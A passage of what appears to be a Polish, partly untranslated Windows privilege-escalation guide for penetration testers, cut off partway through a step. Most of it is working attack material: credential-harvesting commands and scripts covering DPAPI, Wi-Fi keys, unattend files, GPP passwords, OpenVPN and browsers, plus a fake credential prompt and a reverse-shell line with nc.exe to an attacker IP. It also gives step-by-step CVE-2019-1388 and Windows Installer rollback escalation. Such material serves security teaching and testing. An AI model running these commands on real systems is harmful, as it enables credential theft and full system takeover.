Windows Vault przechowuje poświadczenia, których Windows może użyć do automatycznego logowania użytkowników, co oznacza, że każda aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu (serwera lub strony internetowej) może korzystać z tego Credential Manager & Windows Vault i użyć dostarczonych poświadczeń zamiast tego, by użytkownicy za każdym razem wpisywali nazwę użytkownika i hasło.
Jeśli aplikacje nie współdziałają z Credential Manager, nie sądzę, aby mogły użyć poświadczeń dla danego zasobu. Więc jeśli Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób skomunikować się z Credential Manager i poprosić o poświadczenia dla tego zasobu z domyślnego magazynu.
Użyj cmdkey, aby wyświetlić zapisane poświadczenia na maszynie.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Następnie możesz użyć runas z opcją /savecred, aby użyć zapisanych poświadczeń. Poniższy przykład uruchamia zdalny plik binarny za pośrednictwem udziału SMB.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Użycie runas z dostarczonym zestawem poświadczeń.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Uwaga: mimikatz, lazagne, credentialfileview, VaultPasswordView, lub Empire Powershells module.
DPAPI
The Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, używaną przede wszystkim w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, który znacząco przyczynia się do entropii.
DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets. W scenariuszach obejmujących szyfrowanie systemowe wykorzystuje sekrety uwierzytelniania domeny systemu.
Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} represents the user's Security Identifier. The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file, typically consists of 64 bytes of random data. (Ważne jest, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości poleceniem dir w CMD, choć można je wyświetlić za pomocą PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby go odszyfrować.
Pliki poświadczeń chronione przez hasło główne są zwykle zlokalizowane w:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz wyodrębnić wiele DPAPI masterkeys z pamięci za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).
{{#ref}} dpapi-extracting-passwords.md {{#endref}}
Poświadczenia PowerShell
PowerShell credentials są często używane do scripting i zadań automatyzacji jako sposób na wygodne przechowywanie zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu DPAPI, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.
Aby decrypt poświadczenia PS z pliku, który je zawiera, możesz zrobić:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wi-Fi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Zapisane połączenia RDP
Znajdziesz je w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i w HKCU\Software\Microsoft\Terminal Server Client\Servers\
Ostatnio uruchomione polecenia
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Menedżer poświadczeń pulpitu zdalnego
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **odszyfrować dowolne pliki .rdg\ Możesz **wydobyć wiele DPAPI masterkeys** z pamięci za pomocą modułu Mimikatz sekurlsa::dpapi`
Sticky Notes
Ludzie często używają aplikacji StickyNotes na stacjach roboczych Windows do zapisywania haseł i innych informacji, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się pod adresem C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go wyszukać i przeanalizować.
AppCmd.exe
Uwaga: aby odzyskać hasła z AppCmd.exe musisz być Administratorem i uruchomić go na poziomie High Integrity.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\.\
Jeśli ten plik istnieje, możliwe że niektóre credentials zostały skonfigurowane i mogą zostać odzyskane.
Ten kod został wyodrębniony z PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są run with SYSTEM privileges, wiele jest podatnych na DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Pliki i Rejestr (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH klucze hosta
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
Klucze SSH w rejestrze
Prywatne klucze SSH mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc warto sprawdzić, czy znajduje się tam coś interesującego:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Jeśli znajdziesz jakiś wpis w tej ścieżce, prawdopodobnie będzie to zapisany SSH key. Jest przechowywany zaszyfrowany, ale można go łatwo odszyfrować używając https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice tutaj: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Jeśli usługa ssh-agent nie jest uruchomiona i chcesz, aby automatycznie uruchamiała się przy starcie systemu, uruchom:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Wygląda na to, że ta technika nie jest już aktualna. Próbowałem utworzyć kilka ssh keys, dodać je za pomocą
ssh-addi zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje i procmon nie wykrył użyciadpapi.dllpodczas uwierzytelniania asymetrycznego klucza.
Pliki bezobsługowe
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Możesz również wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend
Przykładowa zawartość:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM kopie zapasowe
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Poświadczenia w chmurze
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Wyszukaj plik o nazwie SiteList.xml
Zbuforowane hasło GPP
W przeszłości istniała funkcja umożliwiająca wdrażanie niestandardowych kont administratorów lokalnych na grupie komputerów za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała istotne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane przy użyciu AES256 z publicznie udokumentowanym kluczem domyślnym, mogły być odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stanowiło to poważne zagrożenie, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co ułatwia identyfikację i usunięcie tej luki bezpieczeństwa.
Przeszukaj C:\ProgramData\Microsoft\Group Policy\history lub w C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed Windows Vista) w poszukiwaniu tych plików:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Aby odszyfrować cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Użycie crackmapexec do uzyskania haseł:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
Konfiguracja IIS Web
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Przykład pliku web.config z poświadczeniami:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Dane uwierzytelniające OpenVPN
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logi
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Poproś o poświadczenia
Zawsze możesz poprosić użytkownika o wprowadzenie jego poświadczeń lub nawet poświadczeń innego użytkownika, jeśli uważasz, że może je znać (zauważ, że poproszenie klienta bezpośrednio o poświadczenia jest naprawdę ryzykowne):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Możliwe nazwy plików zawierające credentials
Znane pliki, które jakiś czas temu zawierały passwords w clear-text lub Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Przeszukaj wszystkie proponowane pliki:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Poświadczenia w RecycleBin
Powinieneś także sprawdzić Bin w poszukiwaniu poświadczeń.
Aby odzyskać hasła zapisane przez różne programy możesz użyć: http://www.nirsoft.net/password_recovery_tools.html
W rejestrze
Inne możliwe klucze rejestru z poświadczeniami
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Historia przeglądarek
Powinieneś sprawdzić bazy danych (dbs), w których przechowywane są passwords z Chrome or Firefox.
Sprawdź też historię, zakładki i ulubione przeglądarek — być może niektóre passwords są tam przechowywane.
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM - nadpisywanie DLL
Component Object Model (COM) to technologia wbudowana w system operacyjny Windows, która umożliwia intercommunication między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest identified via a class ID (CLSID), a każdy komponent udostępnia funkcjonalność przez jeden lub więcej interfejsów, identyfikowanych przez interface IDs (IIDs).
Klasy i interfejsy COM są zdefiniowane w rejestrze pod HKEY\CLASSES\ROOT\CLSID oraz HKEY\CLASSES\ROOT\Interface. Ten obszar rejestru powstaje przez scalenie HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
W obrębie CLSID-ów tego rejestru można znaleźć podrzędny klucz InProcServer32, który zawiera default value wskazującą na DLL oraz wartość nazwaną ThreadingModel, która może być Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) lub Neutral (Thread Neutral).
W zasadzie, jeśli możesz overwrite any of the DLLs które zostaną załadowane, możesz escalate privileges, jeśli ta DLL zostanie wykonana przez innego użytkownika.
Aby dowiedzieć się, jak atakujący używają COM Hijacking jako mechanizmu persistence, sprawdź:
{{#ref}} com-hijacking.md {{#endref}}
Ogólne wyszukiwanie Password w plikach i rejestrze
Szukaj zawartości plików
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Wyszukaj plik o określonej nazwie
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Narzędzia, które wyszukują passwords
MSF-Credentials Plugin is a msf plugin. Stworzyłem ten plugin, aby automatically execute every metasploit POST module that searches for credentials w systemie ofiary.
Winpeas automatycznie wyszukuje wszystkie pliki zawierające passwords wymienione na tej stronie.
Lazagne to kolejne świetne narzędzie do wyodrębniania password z systemu.
Narzędzie SessionGopher wyszukuje sessions, usernames i passwords z kilku narzędzi, które zapisują te dane w postaci jawnej (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z full access. Ten sam proces tworzy też nowy proces (CreateProcess()) o niskich uprawnieniach, ale dziedziczący wszystkie otwarte handle głównego procesu.
Jeśli masz full access do procesu o niskich uprawnieniach, możesz przejąć otwarty handle do uprzywilejowanego procesu utworzonego przez OpenProcess() i wstrzyknąć shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Zidentyfikowanie uprzywilejowanego procesu, który komunikuje się przez pipe, które możesz zasymulować, daje możliwość uzyskania wyższych uprawnień poprzez przyjęcie tożsamości tego procesu, gdy wejdzie w interakcję z pipe, który utworzyłeś. Instrukcje wykonania takiego ataku znajdziesz tutaj oraz tutaj.
Ponadto poniższe narzędzie pozwala przechwycić komunikację named pipe za pomocą narzędzia takiego jak burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a to narzędzie pozwala wylistować i zobaczyć wszystkie pipes, aby znaleźć privescs https://github.com/cyberark/PipeViewer
Misc
File Extensions that could execute stuff in Windows
Check out the page https://filesec.io/
Monitoring Command Lines for passwords
Kiedy uzyskujesz shell jako użytkownik, mogą istnieć zadania zaplanowane lub inne procesy uruchamiane, które przekazują poświadczenia w linii poleceń. Poniższy skrypt przechwytuje command line procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Jeśli masz dostęp do interfejsu graficznego (via console or RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu jako "NT\AUTHORITY SYSTEM" z konta nieuprzywilejowanego.
Pozwala to jednocześnie eskalować uprawnienia i obejść UAC za pomocą tej samej luki. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a plik binarny używany w tym procesie jest podpisany i wydany przez Microsoft.
Niektóre z dotkniętych systemów to:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Aby wykorzystać tę podatność, należy wykonać następujące kroki:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Masz wszystkie niezbędne pliki i informacje w następującym repozytorium GitHub:
https://github.com/jas502n/CVE-2019-1388
Z Administrator Medium do High Integrity Level / UAC Bypass
Przeczytaj to, aby dowiedzieć się o Integrity Levels:
{{#ref}} integrity-levels.md {{#endref}}
Następnie przeczytaj to, aby poznać UAC i UAC bypasses:
{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}
Z arbitralnego usunięcia/przeniesienia/zmiany nazwy folderu do SYSTEM EoP
Technika opisana w tym wpisie na blogu z kodem exploita dostępnym tutaj.
Atak polega zasadniczo na nadużyciu funkcji rollback Windows Installer, aby zastąpić legalne pliki złośliwymi podczas procesu odinstalowywania. Do tego atakujący musi stworzyć złośliwy MSI installer, który zostanie użyty do przejęcia folderu C:\Config.Msi, który później będzie używany przez Windows Installer do przechowywania plików rollback podczas odinstalowywania innych pakietów MSI — gdzie pliki rollback zostaną zmodyfikowane tak, by zawierały złośliwy ładunek.
Skrócona technika wygląda następująco:
- Etap 1 – Przygotowanie do przejęcia (pozostaw
C:\Config.Msipusty)
-
Krok 1: Zainstaluj MSI
- Stwórz
.msi, który instaluje nieszkodliwy plik (np.dummy.txt) w zapisywalnym folderze (TARGETDIR). - Oznacz instalator jako "UAC Compliant", tak aby użytkownik bez uprawnień administratora mógł go uruchomić.
- Trzymaj otwarty uchwyt do pliku po instalacji.
- Stwórz
-
Krok 2: Rozpocznij odinstalowywanie
- Odinstaluj ten sam
.msi. - Proces odinstalowywania zaczyna przenosić pliki do
C:\Config.Msii zmienia ich nazwy na pliki.rbf(backupy rollback). - Polluj otwarty uchwyt pliku przy użyciu
GetFinalPathNameByHandle, aby wykryć moment, gdy plik stanie sięC:\Config.Msi\<random>.rbf.
- Odinstaluj ten sam
-
Krok 3: Własna synchronizacja
.msizawiera niestandardową akcję deinstalacji (SyncOnRbfWritten), która:- Wysyła sygnał, gdy
.rbfzostanie zapisany. - Następnie czeka na inne zdarzenie przed kontynuacją deinstalacji.
- Wysyła sygnał, gdy
-
Krok 4: Zablokuj usunięcie
.rbf- Gdy otrzymasz sygnał, otwórz plik
.rbfbezFILE_SHARE_DELETE— to powstrzymuje jego usunięcie. - Następnie odeslij sygnał, aby deinstalacja mogła dokończyć.
- Windows Installer nie może usunąć
.rbf, i ponieważ nie może usunąć całej zawartości,C:\Config.Msinie jest usuwany.
- Gdy otrzymasz sygnał, otwórz plik
-
Krok 5: Ręcznie usuń
.rbf- Ty (atakujący) usuwasz plik
.rbfręcznie. - Teraz
C:\Config.Msijest pusty, gotowy do przejęcia.
- Ty (atakujący) usuwasz plik
W tym momencie wywołaj podatność umożliwiającą arbitralne usunięcie folderu na poziomie SYSTEM, aby usunąć
C:\Config.Msi.
- Etap 2 – Zastąpienie skryptów rollback złośliwymi
-
Krok 6: Odtwórz
C:\Config.Msize słabymi ACL- Odtwórz folder
C:\Config.Msisamodzielnie. - Ustaw słabe DACLs (np. Everyone:F), i trzymaj otwarty uchwyt z
WRITE_DAC.
- Odtwórz folder
-
Krok 7: Uruchom kolejną instalację
- Zainstaluj
.msiponownie, z:TARGETDIR: zapisywalna lokalizacja.ERROROUT: zmienna, która wywołuje wymuszone niepowodzenie.
- Ta instalacja zostanie użyta do ponownego wywołania rollback, który odczytuje
.rbsi.rbf.
- Zainstaluj
-
Krok 8: Monitoruj pojawienie się
.rbs- Użyj
ReadDirectoryChangesW, aby monitorowaćC:\Config.Msiaż pojawi się nowe.rbs. - Przechwyć jego nazwę pliku.
- Użyj
-
Krok 9: Synchronizacja przed rollback
.msizawiera niestandardową akcję instalacji (SyncBeforeRollback), która:- Wysyła zdarzenie, gdy
.rbszostanie utworzone. - Następnie czeka przed kontynuacją.
- Wysyła zdarzenie, gdy
-
Krok 10: Ponownie zastosuj słabe ACL
- Po otrzymaniu zdarzenia
.rbs created:- Windows Installer ponownie stosuje silne ACL do
C:\Config.Msi. - Ale ponieważ nadal masz uchwyt z
WRITE_DAC, możesz ponownie ustawić słabe ACL.
- Windows Installer ponownie stosuje silne ACL do
- Po otrzymaniu zdarzenia
ACL są egzekwowane tylko przy otwarciu uchwytu, więc nadal możesz zapisywać do folderu.
-
Krok 11: Podmień fałszywe
.rbsi.rbf- Nadpisz plik
.rbsfałszywym skryptem rollback, który instruuje Windows, aby:- Przywrócić twój plik
.rbf(złośliwy DLL) do uprzywilejowanej lokalizacji (np.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). - Umieścić fałszywy
.rbfzawierający złośliwy ładunek na poziomie SYSTEM (DLL).
- Przywrócić twój plik
- Nadpisz plik
-
Krok 12: Wywołaj rollback
- Zasygnalizuj zdarzenie synchronizacji, aby instalator wznowił działanie.
- Akcja niestandardowa typu 19 (
ErrorOut) została skonfigurowana, aby celowo przerwać instalację w znanym punkcie. - To powoduje rozpoczęcie rollback.
-
Krok 13: SYSTEM instaluje twój DLL
- Windows Installer:
